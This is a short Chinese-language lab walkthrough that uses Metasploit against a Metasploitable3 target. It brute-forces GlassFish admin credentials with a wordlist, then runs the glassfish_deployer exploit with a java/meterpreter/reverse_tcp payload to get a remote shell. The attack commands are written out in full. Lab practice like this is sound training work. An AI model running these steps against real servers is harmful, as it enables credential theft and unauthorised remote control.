背景
背景资料
metasploit框架glassfish_deployer模块利用文档
验证过程
环境准备
- 保证KALI和metasploitable3靶机在同一网段下(同NAT或同桥接)。
- metasploitable3的端口开启(初始镜像默认开启所有端口,关闭防火墙)
- NMAP扫描到靶机的对应端口及服务
Glassfish弱密码爆破
# 进入msf命令行
msfconsole
# 搜索glassfish相关模块
search glassfish
# 使用编号为1的模块,也可直接 use auxiliary/scanner/http/glassfish_login
use 1
按以上命令输入后会如下图所示,进入到该模块的配置阶段
# 先用show options查看该模块的配置项
show options
# 再进行对应参数的配置,Required为yes的为必要参数
set rhost 靶机地址
# 此处使用用户名和密码字典进行模拟,也可直接指定用户名和密码
set user_file user_dict_path
set pass_file pass_dict_path
# 启动该模块进行利用,也可使用exploit命令
run
按以上命令输入后会如下图所示,可以看到字典爆破出可用的用户名和密码:admin/sploit
接着访问http://target_url:4848,使用admin/sploit登录成功
multi/http/glassfish_deployer模块验证
如果按照msf框架的文档来操作,我这边是会报错的
# 按官方文档建议使用deployer模块
use multi/http/glassfish_deployer
set rhost target_ip
set username admin
set password sploit
run
会出现报错Exploit aborted due to failure: no-access: http://target-ip - GlassFish - Failed to authenticate
我理解为没有将SSL参数设为true,导致无法认证,所以设置后重新尝试,但出现了新的报错Exploit aborted due to failure: no-target: Unable to automatically select a target
输入info命令查看模块信息,原来是默认目标系统为automatically,此处报错提示为自动选择不可用,那么尝试手动选择目标系统
正确答案是应该选择Java通用,但同时会报payload不可用的错误Exploit failed: linux/x86/meterpreter/reverse_top is not a compatible payload.
此时我们需要替换payload为java/meterpreter/reverse_tcp,此处参考该README,重新run一下,即可获取目标shell
完结撒花~